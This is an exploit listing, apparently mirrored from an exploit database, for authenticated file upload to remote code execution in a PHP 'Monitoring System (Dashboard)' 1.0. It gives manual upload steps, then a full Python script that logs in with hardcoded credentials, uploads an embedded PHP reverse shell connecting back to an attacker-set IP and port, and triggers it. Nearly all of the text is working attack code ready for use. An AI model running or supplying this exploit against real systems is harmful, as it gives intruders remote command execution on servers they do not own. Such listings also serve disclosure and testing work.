Share
## https://sploitus.com/exploit?id=PACKETSTORM:161760
# Exploit Title: Monitoring System (Dashboard) | Authenticated Arbitrary File Upload to Remote Code Execution  
# Exploit Author: Richard Jones  
# Date: 2021-01-26  
# Vendor Homepage: https://www.sourcecodester.com/php/11741/monitoring-system-dashboard.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=11741&title=Monitoring+System+%28Dashboard%29+using+PHP+with+Source+Code  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
Steps.   
  
1. Login to the admin panel  
2. Edit employee, view employee  
3. Select edit, profile pic > Browse and select a php reverse shell  
4. Call shell at "http://IPADDRESS/asistorage/modules/employee/uploads/" select your shell.php file. (will be like 16416547264_shell.php)  
  
  
  
  
# Exploit Title: Monitoring System (Dashboard) | Authenticated Code Execution (2)  
# Exploit Author: Richard Jones  
# Date: 2021-03-11  
# Vendor Homepage: https://www.sourcecodester.com/php/11741/monitoring-system-dashboard.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=11741&title=Monitoring+System+%28Dashboard%29+using+PHP+with+Source+Code  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
  
# Usage.   
# Change Target_IP, REV_IP, REV_PORT to your own  
  
  
import requests  
  
def main():  
  
##### Change info here #####  
TARGET_IP="127.0.0.1"  
REV_IP="127.0.0.1"  
REV_PORT=9999  
############################  
  
LOGIN="/asistorage/login.php"  
MAILING_LIST="/asistorage/modules/random/index.php?view=add"  
UPLOAD_URL="/asistorage/modules/random/upload.php"  
VIEW_ITEM="/asistorage/modules/random/index.php"  
CALL_URL="/asistorage/modules/random/uploads/"  
  
  
  
s = requests.Session()  
  
def phpshell():  
return """  
<?php  
// Copyright (c) 2020 Ivan ร… incek  
// v1.1  
// Requires PHP v5.0.0 or greater.  
// Works on Linux OS, macOS and Windows OS.  
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.  
header('Content-Type: text/plain; charset=UTF-8');  
class Shell {  
private $addr = null;  
private $port = null;  
private $os = null;  
private $shell = null;  
private $descriptorspec = array(  
0 => array('pipe', 'r'), // shell can read from STDIN  
1 => array('pipe', 'w'), // shell can write to STDOUT  
2 => array('pipe', 'w') // shell can write to STDERR  
);  
private $options = array(); // proc_open() options  
private $buffer = 1024; // read/write buffer size  
private $clen = 0; // command length  
private $error = false; // stream read/write error  
public function __construct($addr, $port) {  
$this->addr = $addr;  
$this->port = $port;  
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS  
$this->os = 'LINUX';  
$this->shell = '/bin/sh';  
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {  
$this->os = 'WINDOWS';  
$this->shell = 'cmd.exe';  
$this->options['bypass_shell'] = true; // we do not want a shell within a shell  
} else {  
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";  
exit(0);  
}  
}  
private function daemonize() {  
set_time_limit(0); // do not impose the script execution time limit  
if (!function_exists('pcntl_fork')) {  
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";  
} else {  
if (($pid = pcntl_fork()) < 0) {  
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";  
} else if ($pid > 0) {  
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";  
exit(0);  
} else if (posix_setsid() < 0) { // once daemonized you will no longer see the script's dump  
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";  
} else {  
echo "DAEMONIZE: Completed successfully!\n";  
}  
}  
umask(0); // set the file/directory permissions - 666 for files and 777 for directories  
}  
private function read($stream, $name, $buffer) {  
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream  
$this->error = true; // set global error flag  
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";  
}  
return $data;  
}  
private function write($stream, $name, $data) {  
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream  
$this->error = true; // set global error flag  
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";  
}  
return $bytes;  
}  
// read/write method for non-blocking streams  
private function rw($input, $output, $iname, $oname) {  
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {  
echo $data; // script's dump  
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length  
}  
}  
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)  
// we must read the exact byte length from a stream and not a single byte more  
private function brw($input, $output, $iname, $oname) {  
$size = fstat($input)['size'];  
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { // for some reason Windows OS pipes STDIN into STDOUT  
$size -= $this->offset($input, $iname, $this->clen); // we do not like that  
$this->clen = 0;  
}  
$fragments = ceil($size / $this->buffer); // number of fragments to read  
$remainder = $size % $this->buffer; // size of the last fragment if it is less than the buffer size  
while ($fragments && ($data = $this->read($input, $iname, $remainder && $fragments-- == 1 ? $remainder : $this->buffer)) && $this->write($output, $oname, $data)) {  
echo $data; // script's dump  
}  
}  
private function offset($stream, $name, $offset) {  
$total = $offset;  
while ($offset > 0 && $this->read($stream, $name, $offset >= $this->buffer ? $this->buffer : $offset)) { // discard the data from a stream  
$offset -= $this->buffer;  
}  
return $offset > 0 ? $total - $offset : $total;  
}  
public function run() {  
$this->daemonize();  
  
// ----- SOCKET BEGIN -----  
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);  
if (!$socket) {  
echo "SOC_ERROR: {$errno}: {$errstr}\n";  
} else {  
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS  
  
// ----- SHELL BEGIN -----  
$process = proc_open($this->shell, $this->descriptorspec, $pipes, '/', null, $this->options);  
if (!$process) {  
echo "PROC_ERROR: Cannot start the shell\n";  
} else {  
foreach ($pipes as $pipe) {  
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS  
}  
  
// ----- WORK BEGIN -----  
fwrite($socket, "SOCKET: Shell has connected! PID: " . proc_get_status($process)['pid'] . "\n");  
while (!$this->error) {  
if (feof($socket)) { // check for end-of-file on SOCKET  
echo "SOC_ERROR: Shell connection has been terminated\n"; break;  
} else if (feof($pipes[1]) || !proc_get_status($process)['running']) { // check for end-of-file on STDOUT or if process is still running  
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams  
} // use proc_get_status() instead  
$streams = array(  
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR  
'write' => null,  
'except' => null  
);  
$num_changed_streams = stream_select($streams['read'], $streams['write'], $streams['except'], null); // wait for stream changes | will not wait on Windows OS  
if ($num_changed_streams === false) {  
echo "STRM_ERROR: stream_select() failed\n"; break;  
} else if ($num_changed_streams > 0) {  
if ($this->os === 'LINUX') {  
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN  
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET  
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET  
} else if ($this->os === 'WINDOWS') {  
// order is important  
if (in_array($socket, $streams['read'])) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN  
if (fstat($pipes[2])['size']/*-------*/) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET  
if (fstat($pipes[1])['size']/*-------*/) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET  
}  
}  
}  
// ------ WORK END ------  
  
foreach ($pipes as $pipe) {  
fclose($pipe);  
}  
proc_close($process);  
}  
// ------ SHELL END ------  
  
fclose($socket);  
}  
// ------ SOCKET END ------  
  
}  
}  
// change the host address and/or port number as necessary  
$reverse_shell = new Shell('OLDIP', OLDPORT);  
$reverse_shell->Run();  
?>"""  
  
def login(url,username, password):  
try:   
data = {  
"uname":username,  
"upass":password,  
"btnlogin":""  
}  
  
r = s.post(url,data=data, verify=False)  
page = r.text  
if "Invalid Username or Password, please try again." in page:  
return False  
else:  
return True  
except :  
return False  
  
def uploadShell(url):  
s.get(f"{url}{MAILING_LIST}") # Call page  
  
fileData = {  
'uploaded_file':("rev.php",str(phpshell().replace("OLDIP", REV_IP).replace("OLDPORT", str(REV_PORT))).encode(), "application/octet-stream")}  
data={  
"pname":"",  
"pname":"a",  
'cutoff':'',  
'cutoff':'a',  
'projectname':'',  
'type':'a',  
'projectname':'',  
'dsend':'2029-03-19',  
'desc':'a',  
'MAX_FILE_SIZE':100000,  
'Uploader':'',  
}  
up_url=f"{url}{UPLOAD_URL}"   
r = s.post(up_url, files=fileData,data=data, verify=False)  
if r.status_code == 200:  
print("shell uploaded")  
else:  
print("Shell upload failed")  
exit(0)  
r = s.get(f"{url}{VIEW_ITEM}")  
page = r.text  
DL_URL=page.split("download.php?filename=")[1].split("\">")[0]  
return DL_URL  
  
#Login  
base_url=f"http://{TARGET_IP}"  
login_url=f"{base_url}{LOGIN}"  
b=login(login_url, "jim", "jim")  
if not b:  
print("Login failed, Try again...")  
exit(0)  
  
#CAll shell  
base=f"{base_url}"  
CALL_URL_PART=uploadShell(base)  
c_url=f"{base}{CALL_URL}{CALL_URL_PART}"  
s.get(c_url)  
#Shell can be found at http:/TARGET//asistorage/modules/random/uploads/  
  
if __name__ == "__main__":  
main()